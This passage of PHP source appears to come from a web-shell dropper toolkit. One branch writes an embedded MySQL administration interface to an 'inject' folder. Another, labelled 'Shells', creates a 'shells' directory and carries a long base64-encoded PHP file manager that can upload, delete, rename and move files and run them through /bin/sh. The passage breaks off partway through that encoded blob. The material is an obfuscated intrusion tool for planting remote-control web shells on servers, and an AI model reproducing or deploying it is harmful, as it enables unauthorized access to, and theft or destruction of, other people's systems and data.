) \$PASSWORD = \$value;\n\t\tif( \$var == \"mysql_web_admin_hostname\" ) \$HOSTNAME = \$value;\n\t}\n\techo \"<!--\";\n\t\$mysqlHandle = mysql_pconnect( \$HOSTNAME, \$USERNAME, \$PASSWORD );\n\techo \"-->\";\n\n\tif( \$mysqlHandle == false ) {\n\t\techo \"<html>\\n\";\n\t\techo \"<head>\\n\";\n\t\techo \"<title>MySQL Interface</title>\\n\";\n\t\techo \"</head>\\n\";\n\t\techo \"<body>\\n\";\n\t\techo \"<table width=100% height=100%><tr><td><center>\\n\";\n\t\techo \"<h1>Wrong Password!</h1>\\n\";\n\t\techo \"<a href='\$PHP_SELF?action=logon'>Logon</a>\\n\";\n\t\techo \"</center></td></tr></table>\\n\";\n\t\techo \"</body>\\n\";\n\t\techo \"</html>\\n\";\n\t} else {\n\t\theader_html();\n\t\tif( \$action == \"listDBs\" )\n\t\t\tlistDatabases();\n\t\telse if( \$action == \"createDB\" )\n\t\t\tcreateDatabase();\n\t\telse if( \$action == \"dropDB\" )\n\t\t\tdropDatabase();\n\t\telse if( \$action == \"listTables\" )\n\t\t\tlistTables();\n\t\telse if( \$action == \"createTable\" )\n\t\t\tcreateTable();\n\t\telse if( \$action == \"dropTable\" )\n\t\t\tdropTable();\n\t\telse if( \$action == \"viewSchema\" )\n\t\t\tviewSchema();\n\t\telse if( \$action == \"query\" )\n\t\t\tviewData( \$queryStr );\n\t\telse if( \$action == \"addField\" )\n\t\t\tmanageField( \"add\" );\n\t\telse if( \$action == \"addField_submit\" )\n\t\t\tmanageField_submit( \"add\" );\n\t\telse if( \$action == \"editField\" )\n\t\t\tmanageField( \"edit\" );\n\t\telse if( \$action == \"editField_submit\" )\n\t\t\tmanageField_submit( \"edit\" );\n\t\telse if( \$action == \"dropField\" )\n\t\t\tdropField();\n\t\telse if( \$action == \"viewData\" )\n\t\t\tviewData( \"\" );\n\t\telse if( \$action == \"addData\" )\n\t\t\tmanageData( \"add\" );\n\t\telse if( \$action == \"addData_submit\" )\n\t\t\tmanageData_submit( \"add\" );\n\t\telse if( \$action == \"editData\" )\n\t\t\tmanageData( \"edit\" );\n\t\telse if( \$action == \"editData_submit\" )\n\t\t\tmanageData_submit( \"edit\" );\n\t\telse if( \$action == \"deleteData\" )\n\t\t\tdeleteData();\n\t\telse if( \$action == \"utils\" )\n\t\t\tutils();\n\n\t\tmysql_close( \$mysqlHandle);\n\t\tfooter_html();\n\t}\n}\n\n?>");
echo "<a href='./inject/MySQL.php'>Here MySQL.php</a><br>";
} elseif ($_POST[tool] == 'Shells') {
$shells = 'shells';
mkdir('shells');
chdir('shells');
$shell = 'PD9waHANCg0KJGxhbmcgPSAnaXQnOw0KDQovKiBDaGFyc2V0IG9mIG91dHB1dDoNCiAqIHBvc3NpYmxlIHZhbHVlcyBhcmUgZGVzY3JpYmVkIGluIHRoZSBjaGFyc2V0IHRhYmxlIGF0DQogKiBodHRwOi8vd3d3LnBocC5uZXQvbWFudWFsL2VuL2Z1bmN0aW9uLmh0bWxlbnRpdGllcy5waHANCiAqICdhdXRvJyAtIHVzZSB0aGUgc2FtZSBjaGFyc2V0IGFzIHRoZSB3b3JkcyBvZiBteSBsYW5ndWFnZSBhcmUgZW5jb2RlZA0KICovDQokc2l0ZV9jaGFyc2V0ID0gJ2F1dG8nOw0KDQovKiBIb21lZGlyOg0KICogRm9yIGV4YW1wbGU6ICcuLycgLSB0aGUgc2NyaXB0J3MgZGlyZWN0b3J5DQogKi8NCiRob21lZGlyID0gJy4vJzsNCg0KLyogU2l6ZSBvZiB0aGUgZWRpdCB0ZXh0YXJlYQ0KICovDQokZWRpdGNvbHMgPSA4MDsNCiRlZGl0cm93cyA9IDI1Ow0KDQovKiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQogKiBPcHRpb25hbCBjb25maWd1cmF0aW9uIChyZW1vdmUgIyB0byBlbmFibGUpDQogKi8NCg0KLyogUGVybWlzc2lvbiBvZiBjcmVhdGVkIGRpcmVjdG9yaWVzOg0KICogRm9yIGV4YW1wbGU6IDA3MDUgd291bGQgYmUgJ2Ryd3gtLS1yLXgnLg0KICovDQojICRkaXJwZXJtaXNzaW9uID0gMDcwNTsNCg0KLyogUGVybWlzc2lvbiBvZiBjcmVhdGVkIGZpbGVzOg0KICogRm9yIGV4YW1wbGU6IDA2MDQgd291bGQgYmUgJy1ydy0tLS1yLS0nLg0KICovDQojICRmaWxlcGVybWlzc2lvbiA9IDA2MDQ7DQoNCi8qIEZpbGVuYW1lcyByZWxhdGVkIHRvIHRoZSBhcGFjaGUgd2ViIHNlcnZlcjoNCiAqLw0KJGh0YWNjZXNzID0gJy5odGFjY2Vzcyc7DQokaHRwYXNzd2QgPSAnLmh0cGFzc3dkJzsNCg0KLyogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAqLw0KDQppZiAoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgew0KCWFycmF5X3dhbGsoJF9HRVQsICdzdHJpcCcpOw0KCWFycmF5X3dhbGsoJF9QT1NULCAnc3RyaXAnKTsNCglhcnJheV93YWxrKCRfUkVRVUVTVCwgJ3N0cmlwJyk7DQp9DQoNCmlmIChhcnJheV9rZXlfZXhpc3RzKCdpbWFnZScsICRfR0VUKSkgew0KCWhlYWRlcignQ29udGVudC1UeXBlOiBpbWFnZS9naWYnKTsNCglkaWUoZ2V0aW1hZ2UoJF9HRVRbJ2ltYWdlJ10pKTsNCn0NCg0KaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2xzdGF0JykpIHsNCglmdW5jdGlvbiBsc3RhdCAoJGZpbGVuYW1lKSB7DQoJCXJldHVybiBzdGF0KCRmaWxlbmFtZSk7DQoJfQ0KfQ0KDQokZGVsaW0gPSBESVJFQ1RPUllfU0VQQVJBVE9SOw0KDQppZiAoZnVuY3Rpb25fZXhpc3RzKCdwaHBfdW5hbWUnKSkgew0KCSR3aW4gPSAoc3RydG91cHBlcihzdWJzdHIoUEhQX09TLCAwLCAzKSkgPT09ICdXSU4nKSA/IHRydWUgOiBmYWxzZTsNCn0gZWxzZSB7DQoJJHdpbiA9ICgkZGVsaW0gPT0gJ1xcJykgPyB0cnVlIDogZmFsc2U7DQp9DQoNCmlmICghZW1wdHkoJF9TRVJWRVJbJ1BBVEhfVFJBTlNMQVRFRCddKSkgew0KCSRzY3JpcHRkaXIgPSBkaXJuYW1lKCRfU0VSVkVSWydQQVRIX1RSQU5TTEFURUQnXSk7DQp9IGVsc2VpZiAoIWVtcHR5KCRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXSkpIHsNCgkkc2NyaXB0ZGlyID0gZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pOw0KfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnZ2V0Y3dkJykpIHsNCgkkc2NyaXB0ZGlyID0gZ2V0Y3dkKCk7DQp9IGVsc2Ugew0KCSRzY3JpcHRkaXIgPSAnLic7DQp9DQokaG9tZWRpciA9IHJlbGF0aXZlMmFic29sdXRlKCRob21lZGlyLCAkc2NyaXB0ZGlyKTsNCg0KJGRpciA9IChhcnJheV9rZXlfZXhpc3RzKCdkaXInLCAkX1JFUVVFU1QpKSA/ICRfUkVRVUVTVFsnZGlyJ10gOiAkaG9tZWRpcjsNCg0KaWYgKGFycmF5X2tleV9leGlzdHMoJ29sZGRpcicsICRfUE9TVCkgJiYgIXBhdGhfaXNfcmVsYXRpdmUoJF9QT1NUWydvbGRkaXInXSkpIHsNCgkkZGlyID0gcmVsYXRpdmUyYWJzb2x1dGUoJGRpciwgJF9QT1NUWydvbGRkaXInXSk7DQp9DQoNCiRkaXJlY3RvcnkgPSBzaW1wbGlmeV9wYXRoKGFkZHNsYXNoKCRkaXIpKTsNCg0KJGZpbGVzID0gYXJyYXkoKTsNCiRhY3Rpb24gPSAnJzsNCmlmICghZW1wdHkoJF9QT1NUWydzdWJtaXRfYWxsJ10pKSB7DQoJJGFjdGlvbiA9ICRfUE9TVFsnYWN0aW9uX2FsbCddOw0KCWZvciAoJGkgPSAwOyAkaSA8ICRfUE9TVFsnbnVtJ107ICRpKyspIHsNCgkJaWYgKGFycmF5X2tleV9leGlzdHMoImNoZWNrZWQkaSIsICRfUE9TVCkgJiYgJF9QT1NUWyJjaGVja2VkJGkiXSA9PSAndHJ1ZScpIHsNCgkJCSRmaWxlc1tdID0gJF9QT1NUWyJmaWxlJGkiXTsNCgkJfQ0KCX0NCn0gZWxzZWlmICghZW1wdHkoJF9SRVFVRVNUWydhY3Rpb24nXSkpIHsNCgkkYWN0aW9uID0gJF9SRVFVRVNUWydhY3Rpb24nXTsNCgkkZmlsZXNbXSA9IHJlbGF0aXZlMmFic29sdXRlKCRfUkVRVUVTVFsnZmlsZSddLCAkZGlyZWN0b3J5KTsNCn0gZWxzZWlmICghZW1wdHkoJF9QT1NUWydzdWJtaXRfdXBsb2FkJ10pICYmICFlbXB0eSgkX0ZJTEVTWyd1cGxvYWQnXVsnbmFtZSddKSkgew0KCSRmaWxlc1tdID0gJF9GSUxFU1sndXBsb2FkJ107DQoJJGFjdGlvbiA9ICd1cGxvYWQnOw0KfSBlbHNlaWYgKGFycmF5X2tleV9leGlzdHMoJ251bScsICRfUE9TVCkpIHsNCglmb3IgKCRpID0gMDsgJGkgPCAkX1BPU1RbJ251bSddOyAkaSsrKSB7DQoJCWlmIChhcnJheV9rZXlfZXhpc3RzKCJzdWJtaXQkaSIsICRfUE9TVCkpIGJyZWFrOw0KCX0NCglpZiAoJGkgPCAkX1BPU1RbJ251bSddKSB7DQoJCSRhY3Rpb24gPSAkX1BPU1RbImFjdGlvbiRpIl07DQoJCSRmaWxlc1tdID0gJF9QT1NUWyJmaWxlJGkiXTsNCgl9DQp9DQppZiAoZW1wdHkoJGFjdGlvbikgJiYgKCFlbXB0eSgkX1BPU1RbJ3N1Ym1pdF9jcmVhdGUnXSkgfHwgKGFycmF5X2tleV9leGlzdHMoJ2ZvY3VzJywgJF9QT1NUKSAmJiAkX1BPU1RbJ2ZvY3VzJ10gPT0gJ2NyZWF0ZScpKSAmJiAhZW1wdHkoJF9QT1NUWydjcmVhdGVfbmFtZSddKSkgew0KCSRmaWxlc1tdID0gcmVsYXRpdmUyYWJzb2x1dGUoJF9QT1NUWydjcmVhdGVfbmFtZSddLCAkZGlyZWN0b3J5KTsNCglzd2l0Y2ggKCRfUE9TVFsnY3JlYXRlX3R5cGUnXSkgew0KCWNhc2UgJ2RpcmVjdG9yeSc6DQoJCSRhY3Rpb24gPSAnY3JlYXRlX2RpcmVjdG9yeSc7DQoJCWJyZWFrOw0KCWNhc2UgJ2ZpbGUnOg0KCQkkYWN0aW9uID0gJ2NyZWF0ZV9maWxlJzsNCgl9DQp9DQppZiAoc2l6ZW9mKCRmaWxlcykgPT0gMCkgJGFjdGlvbiA9ICcnOyBlbHNlICRmaWxlID0gcmVzZXQoJGZpbGVzKTsNCg0KaWYgKCRsYW5nID09ICdhdXRvJykgew0KCWlmIChhcnJheV9rZXlfZXhpc3RzKCdIVFRQX0FDQ0VQVF9MQU5HVUFHRScsICRfU0VSVkVSKSAmJiBzdHJsZW4oJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pID49IDIpIHsNCgkJJGxhbmcgPSBzdWJzdHIoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10sIDAsIDIpOw0KCX0gZWxzZSB7DQoJCSRsYW5nID0gJ2VuJzsNCgl9DQp9DQoNCiR3b3JkcyA9IGdldHdvcmRzKCRsYW5nKTsNCg0KaWYgKCRzaXRlX2NoYXJzZXQgPT0gJ2F1dG8nKSB7DQoJJHNpdGVfY2hhcnNldCA9ICR3b3JkX2NoYXJzZXQ7DQp9DQoNCiRjb2xzID0gKCR3aW4pID8gNCA6IDc7DQoNCmlmICghaXNzZXQoJGRpcnBlcm1pc3Npb24pKSB7DQoJJGRpcnBlcm1pc3Npb24gPSAoZnVuY3Rpb25fZXhpc3RzKCd1bWFzaycpKSA/ICgwNzc3ICYgfnVtYXNrKCkpIDogMDc1NTsNCn0NCmlmICghaXNzZXQoJGZpbGVwZXJtaXNzaW9uKSkgew0KCSRmaWxlcGVybWlzc2lvbiA9IChmdW5jdGlvbl9leGlzdHMoJ3VtYXNrJykpID8gKDA2NjYgJiB+dW1hc2soKSkgOiAwNjQ0Ow0KfQ0KDQppZiAoIWVtcHR5KCRfU0VSVkVSWydTQ1JJUFRfTkFNRSddKSkgew0KCSRzZWxmID0gaHRtbChiYXNlbmFtZSgkX1NFUlZFUlsnU0NSSVBUX05BTUUnXSkpOw0KfSBlbHNlaWYgKCFlbXB0eSgkX1NFUlZFUlsnUEhQX1NFTEYnXSkpIHsNCgkkc2VsZiA9IGh0bWwoYmFzZW5hbWUoJF9TRVJWRVJbJ1BIUF9TRUxGJ10pKTsNCn0gZWxzZSB7DQoJJHNlbGYgPSAnJzsNCn0NCg0KaWYgKCFlbXB0eSgkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10pKSB7DQoJaWYgKHN0cnRvbG93ZXIoc3Vic3RyKCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSwgMCwgNikpID09ICdhcGFjaGUnKSB7DQoJCSRhcGFjaGUgPSB0cnVlOw0KCX0gZWxzZSB7DQoJCSRhcGFjaGUgPSBmYWxzZTsNCgl9DQp9IGVsc2Ugew0KCSRhcGFjaGUgPSB0cnVlOw0KfQ0KDQpzd2l0Y2ggKCRhY3Rpb24pIHsNCg0KY2FzZSAndmlldyc6DQoNCglpZiAoaXNfc2NyaXB0KCRmaWxlKSkgew0KDQoJCS8qIGhpZ2hsaWdodF9maWxlIGlzIGEgbWVzcyEgKi8NCgkJb2Jfc3RhcnQoKTsNCgkJaGlnaGxpZ2h0X2ZpbGUoJGZpbGUpOw0KCQkkc3JjID0gZXJlZ19yZXBsYWNlKCc8Zm9udCBjb2xvcj0iKFteIl0qKSI+JywgJzxzcGFuIHN0eWxlPSJjb2xvcjogXDEiPicsIG9iX2dldF9jb250ZW50cygpKTsNCgkJJHNyYyA9IHN0cl9yZXBsYWNlKGFycmF5KCc8L2ZvbnQ+JywgIlwNCiIsICJcDQoiKSwgYXJyYXkoJzwvc3Bhbj4nLCAnJywgJycpLCAkc3JjKTsNCgkJb2JfZW5kX2NsZWFuKCk7DQoNCgkJaHRtbF9oZWFkZXIoKTsNCgkJZWNobyAnPGgyIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0OyBtYXJnaW4tYm90dG9tOiAwIj4nIC4gaHRtbCgkZmlsZSkgLiAnPC9oMj4NCg0KPGhyIC8+DQoNCjx0YWJsZT4NCjx0cj4NCjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogcmlnaHQ7IHZlcnRpY2FsLWFsaWduOiB0b3A7IGNvbG9yOiBncmF5OyBwYWRkaW5nLXJpZ2h0OiAzcHQ7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkIGdyYXkiPg0KPHByZSBzdHlsZT0ibWFyZ2luLXRvcDogMCI+PGNvZGU+JzsNCg0KCQlmb3IgKCRpID0gMTsgJGkgPD0gc2l6ZW9mKGZpbGUoJGZpbGUpKTsgJGkrKykgZWNobyAiJGlcDQoiOw0KDQoJCWVjaG8gJzwvY29kZT48L3ByZT4NCjwvdGQ+DQo8dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQ7IHZlcnRpY2FsLWFsaWduOiB0b3A7IHBhZGRpbmctbGVmdDogM3B0Ij4NCjxwcmUgc3R5bGU9Im1hcmdpbi10b3A6IDAiPicgLiAkc3JjIC4gJzwvcHJlPg0KPC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KDQonOw0KDQoJCWh0bWxfZm9vdGVyKCk7DQoNCgl9IGVsc2Ugew0KDQoJCWhlYWRlcignQ29udGVudC1UeXBlOiAnIC4gZ2V0bWltZXR5cGUoJGZpbGUpKTsNCgkJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBmaWxlbmFtZT0nIC4gYmFzZW5hbWUoJGZpbGUpKTsNCg0KCQlyZWFkZmlsZSgkZmlsZSk7DQoNCgl9DQoNCglicmVhazsNCg0KY2FzZSAnZG93bmxvYWQnOg0KDQoJaGVhZGVyKCdQcmFnbWE6IHB1YmxpYycpOw0KCWhlYWRlcignRXhwaXJlczogMCcpOw0KCWhlYWRlcignQ2FjaGUtQ29udHJvbDogbXVzdC1yZXZhbGlkYXRlLCBwb3N0LWNoZWNrPTAsIHByZS1jaGVjaz0wJyk7DQoJaGVhZGVyKCdDb250ZW50LVR5cGU6ICcgLiBnZXRtaW1ldHlwZSgkZmlsZSkpOw0KCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JyAuIGJhc2VuYW1lKCRmaWxlKSAuICc7Jyk7DQoJaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJyAuIGZpbGVzaXplKCRmaWxlKSk7DQoNCglyZWFkZmlsZSgkZmlsZSk7DQoNCglicmVhazsNCg0KY2FzZSAndXBsb2FkJzoNCg0KCSRkZXN0ID0gcmVsYXRpdmUyYWJzb2x1dGUoJGZpbGVbJ25hbWUnXSwgJGRpcmVjdG9yeSk7DQoNCglpZiAoQGZpbGVfZXhpc3RzKCRkZXN0KSkgew0KCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ2FscmVhZHlfZXhpc3RzJywgJGRlc3QpKTsNCgl9IGVsc2VpZiAoQG1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZVsndG1wX25hbWUnXSwgJGRlc3QpKSB7DQoJCUBjaG1vZCgkZGVzdCwgJGZpbGVwZXJtaXNzaW9uKTsNCgkJbGlzdGluZ19wYWdlKG5vdGljZSgndXBsb2FkZWQnLCAkZmlsZVsnbmFtZSddKSk7DQoJfSBlbHNlIHsNCgkJbGlzdGluZ19wYWdlKGVycm9yKCdub3RfdXBsb2FkZWQnLCAkZmlsZVsnbmFtZSddKSk7DQoJfQ0KDQoJYnJlYWs7DQoNCmNhc2UgJ2NyZWF0ZV9kaXJlY3RvcnknOg0KDQoJaWYgKEBmaWxlX2V4aXN0cygkZmlsZSkpIHsNCgkJbGlzdGluZ19wYWdlKGVycm9yKCdhbHJlYWR5X2V4aXN0cycsICRmaWxlKSk7DQoJfSBlbHNlIHsNCgkJJG9sZCA9IEB1bWFzaygwNzc3ICYgfiRkaXJwZXJtaXNzaW9uKTsNCgkJaWYgKEBta2RpcigkZmlsZSwgJGRpcnBlcm1pc3Npb24pKSB7DQoJCQlsaXN0aW5nX3BhZ2Uobm90aWNlKCdjcmVhdGVkJywgJGZpbGUpKTsNCgkJfSBlbHNlIHsNCgkJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X2NyZWF0ZWQnLCAkZmlsZSkpOw0KCQl9DQoJCUB1bWFzaygkb2xkKTsNCgl9DQoNCglicmVhazsNCg0KY2FzZSAnY3JlYXRlX2ZpbGUnOg0KDQoJaWYgKEBmaWxlX2V4aXN0cygkZmlsZSkpIHsNCgkJbGlzdGluZ19wYWdlKGVycm9yKCdhbHJlYWR5X2V4aXN0cycsICRmaWxlKSk7DQoJfSBlbHNlIHsNCgkJJG9sZCA9IEB1bWFzaygwNzc3ICYgfiRmaWxlcGVybWlzc2lvbik7DQoJCWlmIChAdG91Y2goJGZpbGUpKSB7DQoJCQllZGl0KCRmaWxlKTsNCgkJfSBlbHNlIHsNCgkJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X2NyZWF0ZWQnLCAkZmlsZSkpOw0KCQl9DQoJCUB1bWFzaygkb2xkKTsNCgl9DQoNCglicmVhazsNCg0KY2FzZSAnZXhlY3V0ZSc6DQoNCgljaGRpcihkaXJuYW1lKCRmaWxlKSk7DQoNCgkkb3V0cHV0ID0gYXJyYXkoKTsNCgkkcmV0dmFsID0gMDsNCglleGVjKCdlY2hvICIuLycgLiBiYXNlbmFtZSgkZmlsZSkgLiAnIiB8IC9iaW4vc2gnLCAkb3V0cHV0LCAkcmV0dmFsKTsNCg0KCSRlcnJvciA9ICgkcmV0dmFsID09IDApID8gZmFsc2UgOiB0cnVlOw0KDQoJaWYgKHNpemVvZigkb3V0cHV0KSA9PSAwKSAkb3V0cHV0ID0gYXJyYXkoJzwnIC4gJHdvcmRzWydub19vdXRwdXQnXSAuICc+Jyk7DQoNCglpZiAoJGVycm9yKSB7DQoJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X2V4ZWN1dGVkJywgJGZpbGUsIGltcGxvZGUoIlwNCiIsICRvdXRwdXQpKSk7DQoJfSBlbHNlIHsNCgkJbGlzdGluZ19wYWdlKG5vdGljZSgnZXhlY3V0ZWQnLCAkZmlsZSwgaW1wbG9kZSgiXA0KIiwgJG91dHB1dCkpKTsNCgl9DQoNCglicmVhazsNCg0KY2FzZSAnZGVsZXRlJzoNCg0KCWlmICghZW1wdHkoJF9QT1NUWydubyddKSkgew0KCQlsaXN0aW5nX3BhZ2UoKTsNCgl9IGVsc2VpZiAoIWVtcHR5KCRfUE9TVFsneWVzJ10pKSB7DQoNCgkJJGZhaWx1cmUgPSBhcnJheSgpOw0KCQkkc3VjY2VzcyA9IGFycmF5KCk7DQoNCgkJZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7DQoJCQlpZiAoZGVsKCRmaWxlKSkgew0KCQkJCSRzdWNjZXNzW10gPSAkZmlsZTsNCgkJCX0gZWxzZSB7DQoJCQkJJGZhaWx1cmVbXSA9ICRmaWxlOw0KCQkJfQ0KCQl9DQoNCgkJJG1lc3NhZ2UgPSAnJzsNCgkJaWYgKHNpemVvZigkZmFpbHVyZSkgPiAwKSB7DQoJCQkkbWVzc2FnZSA9IGVycm9yKCdub3RfZGVsZXRlZCcsIGltcGxvZGUoIlwNCiIsICRmYWlsdXJlKSk7DQoJCX0NCgkJaWYgKHNpemVvZigkc3VjY2VzcykgPiAwKSB7DQoJCQkkbWVzc2FnZSAuPSBub3RpY2UoJ2RlbGV0ZWQnLCBpbXBsb2RlKCJcDQoiLCAkc3VjY2VzcykpOw0KCQl9DQoNCgkJbGlzdGluZ19wYWdlKCRtZXNzYWdlKTsNCg0KCX0gZWxzZSB7DQoNCgkJaHRtbF9oZWFkZXIoKTsNCg0KCQllY2hvICc8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgY2xhc3M9ImRpYWxvZyI+DQo8dHI+DQo8dGQgY2xhc3M9ImRpYWxvZyI+DQonOw0KDQoJCXJlcXVlc3RfZHVtcCgpOw0KDQoJCWVjaG8gIlx0PGI+IiAuIHdvcmQoJ3JlYWxseV9kZWxldGUnKSAuICc8L2I+DQoJPHA+DQonOw0KDQoJCWZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgew0KCQkJZWNobyAiXHQiIC4gaHRtbCgkZmlsZSkgLiAiPGJyIC8+XA0KIjsNCgkJfQ0KDQoJCWVjaG8gJwk8L3A+DQoJPGhyIC8+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ibm8iIHZhbHVlPSInIC4gd29yZCgnbm8nKSAuICciIGlkPSJyZWRfYnV0dG9uIiAvPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InllcyIgdmFsdWU9IicgLiB3b3JkKCd5ZXMnKSAuICciIGlkPSJncmVlbl9idXR0b24iIHN0eWxlPSJtYXJnaW4tbGVmdDogNTBweCIgLz4NCjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjwvZm9ybT4NCg0KJzsNCg0KCQlodG1sX2Zvb3RlcigpOw0KDQoJfQ0KDQoJYnJlYWs7DQoNCmNhc2UgJ3JlbmFtZSc6DQoNCglpZiAoIWVtcHR5KCRfUE9TVFsnZGVzdGluYXRpb24nXSkpIHsNCg0KCQkkZGVzdCA9IHJlbGF0aXZlMmFic29sdXRlKCRfUE9TVFsnZGVzdGluYXRpb24nXSwgJGRpcmVjdG9yeSk7DQoNCgkJaWYgKCFAZmlsZV9leGlzdHMoJGRlc3QpICYmIEByZW5hbWUoJGZpbGUsICRkZXN0KSkgew0KCQkJbGlzdGluZ19wYWdlKG5vdGljZSgncmVuYW1lZCcsICRmaWxlLCAkZGVzdCkpOw0KCQl9IGVsc2Ugew0KCQkJbGlzdGluZ19wYWdlKGVycm9yKCdub3RfcmVuYW1lZCcsICRmaWxlLCAkZGVzdCkpOw0KCQl9DQoNCgl9IGVsc2Ugew0KDQoJCSRuYW1lID0gYmFzZW5hbWUoJGZpbGUpOw0KDQoJCWh0bWxfaGVhZGVyKCk7DQoNCgkJZWNobyAnPGZvcm0gYWN0aW9uPSInIC4gJHNlbGYgLiAnIiBtZXRob2Q9InBvc3QiPg0KDQo8dGFibGUgY2xhc3M9ImRpYWxvZyI+DQo8dHI+DQo8dGQgY2xhc3M9ImRpYWxvZyI+DQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0icmVuYW1lIiAvPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSInIC4gaHRtbCgkZmlsZSkgLiAnIiAvPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRpciIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgLz4NCgk8Yj4nIC4gd29yZCgncmVuYW1lX2ZpbGUnKSAuICc8L2I+DQoJPHA+JyAuIGh0bWwoJGZpbGUpIC4gJzwvcD4NCgk8Yj4nIC4gc3Vic3RyKCRmaWxlLCAwLCBzdHJsZW4oJGZpbGUpIC0gc3RybGVuKCRuYW1lKSkgLiAnPC9iPg0KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkZXN0aW5hdGlvbiIgc2l6ZT0iJyAuIHRleHRmaWVsZHNpemUoJG5hbWUpIC4gJyIgdmFsdWU9IicgLiBodG1sKCRuYW1lKSAuICciIC8+DQoJPGhyIC8+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicgLiB3b3JkKCdyZW5hbWUnKSAuICciIC8+DQo8L3RkPg0KPC90cj4NCjwvdGFibGU+DQoNCjxwPjxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGRpcmVjdG9yeSkgLiAnIj5bICcgLiB3b3JkKCdiYWNrJykgLiAnIF08L2E+PC9wPg0KDQo8L2Zvcm0+DQoNCic7DQoNCgkJaHRtbF9mb290ZXIoKTsNCg0KCX0NCg0KCWJyZWFrOw0KDQpjYXNlICdtb3ZlJzoNCg0KCWlmICghZW1wdHkoJF9QT1NUWydkZXN0aW5hdGlvbiddKSkgew0KDQoJCSRkZXN0ID0gcmVsYXRpdmUyYWJzb2x1dGUoJF9QT1NUWydkZXN0aW5hdGlvbiddLCAkZGlyZWN0b3J5KTsNCg0KCQkkZmFpbHVyZSA9IGFycmF5KCk7DQoJCSRzdWNjZXNzID0gYXJyYXkoKTsNCg0KCQlmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCgkJCSRmaWxlbmFtZSA9IHN1YnN0cigkZmlsZSwgc3RybGVuKCRkaXJlY3RvcnkpKTsNCgkJCSRkID0gJGRlc3QgLiAkZmlsZW5hbWU7DQoJCQlpZiAoIUBmaWxlX2V4aXN0cygkZCkgJiYgQHJlbmFtZSgkZmlsZSwgJGQpKSB7DQoJCQkJJHN1Y2Nlc3NbXSA9ICRmaWxlOw0KCQkJfSBlbHNlIHsNCgkJCQkkZmFpbHVyZVtdID0gJGZpbGU7DQoJCQl9DQoJCX0NCg0KCQkkbWVzc2FnZSA9ICcnOw0KCQlpZiAoc2l6ZW9mKCRmYWlsdXJlKSA+IDApIHsNCgkJCSRtZXNzYWdlID0gZXJyb3IoJ25vdF9tb3ZlZCcsIGltcGxvZGUoIlwNCiIsICRmYWlsdXJlKSwgJGRlc3QpOw0KCQl9DQoJCWlmIChzaXplb2YoJHN1Y2Nlc3MpID4gMCkgew0KCQkJJG1lc3NhZ2UgLj0gbm90aWNlKCdtb3ZlZCcsIGltcGxvZGUoIlwNCiIsICRzdWNjZXNzKSwgJGRlc3QpOw0KCQl9DQoNCgkJbGlzdGluZ19wYWdlKCRtZXNzYWdlKTsNCg0KCX0gZWxzZSB7DQoNCgkJaHRtbF9oZWFkZXIoKTsNCg0KCQllY2hvICc8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9zdCI+DQoNCjx0YWJsZSBjbGFzcz0iZGlhbG9nIj4NCjx0cj4NCjx0ZCBjbGFzcz0iZGlhbG9nIj4NCic7DQoNCgkJcmVxdWVzdF9kdW1wKCk7DQoNCgkJZWNobyAiXHQ8Yj4iIC4gd29yZCgnbW92ZV9maWxlcycpIC4gJzwvYj4NCgk8cD4NCic7DQoNCgkJZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7DQoJCQllY2hvICJcdCIgLiBodG1sKCRmaWxlKSAuICI8YnIgLz5cDQoiOw0KCQl9DQoNCgkJZWNobyAnCTwvcD4NCgk8aHIgLz4NCgknIC4gd29yZCgnZGVzdGluYXRpb24nKSAuICc6DQoJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRlc3RpbmF0aW9uIiBzaXplPSInIC4gdGV4dGZpZWxkc2l